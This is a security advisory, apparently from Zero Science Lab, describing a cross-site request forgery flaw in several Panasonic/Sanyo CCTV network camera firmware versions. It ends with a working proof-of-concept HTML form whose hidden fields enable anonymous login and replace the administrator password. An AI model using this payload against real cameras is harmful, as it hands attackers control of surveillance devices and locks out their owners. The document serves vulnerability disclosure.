Panasonic Sanyo CCTV Network Camera 2.03-0x CSRF Disable Authentication / Change Password  
Vendor: Panasonic Corporation | SANYO Electric Co., Ltd.  
Product web page:  
Affected version: Model: VCC-HD5600P, FrmVer: 2.03-06 (110315-00), SubVer: 1.01-00 (100528-00)  
Model: VDC-HD3300P, FrmVer: 2.03-08 (111222-00), SubVer: 1.01-00 (100528-00)  
Model: VDC-HD3300P, FrmVer: 1.02-05 (101005-07), SubVer: 1.01-00 (100528-00)  
Model: VCC-HD3300, FrmVer: 2.03-02 (110318-00A), SubVer: 1.01-00 (100528-00)  
Model: VDC-HD3100P, FrmVer: 2.03-00 (110204-02), SubVer: 1.01-00 (100528-00)  
Model: VCC-HD2100P, FrmVer: 2.03-02 (110318-00A), SubVer: 1.01-00 (100528-00)  
Summary: SANYO network camera and network optional board with the  
latest H.264 compression technology provide the optimum surveillance  
applications with high quality real time moving image at low bandwidth.  
Simultaneous stream of H.264 and JPEG data and also COAX video out  
to provide flexible solution for digital and analogue combined system.  
Desc: The application interface allows users to perform certain actions  
via HTTP requests without performing any validity checks to verify the  
requests. These actions can be exploited to perform authentication  
detriment and account password change with administrative privileges if  
a logged-in user visits a malicious web site.  
Tested on: Embedded Linux  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2021-5659  
Advisory URL:  
[Anonymous user log in = ON]  
[Change admin password]  
<form action="" method="POST">  
<input type="hidden" name="anonymous_sw" value="1" /> <!--Disable authentication-->  
<input type="hidden" name="admin1_pw" value="Ztream0017" /> <!--Change admin password-->  
<input type="hidden" name="admin2_pw" value="******" />  
<input type="hidden" name="admin3_pw" value="******" />  
<input type="hidden" name="operator_pw" value="********" />  
<input type="hidden" name="guest_pw" value="*****" />  
<input type="submit" value="Push" />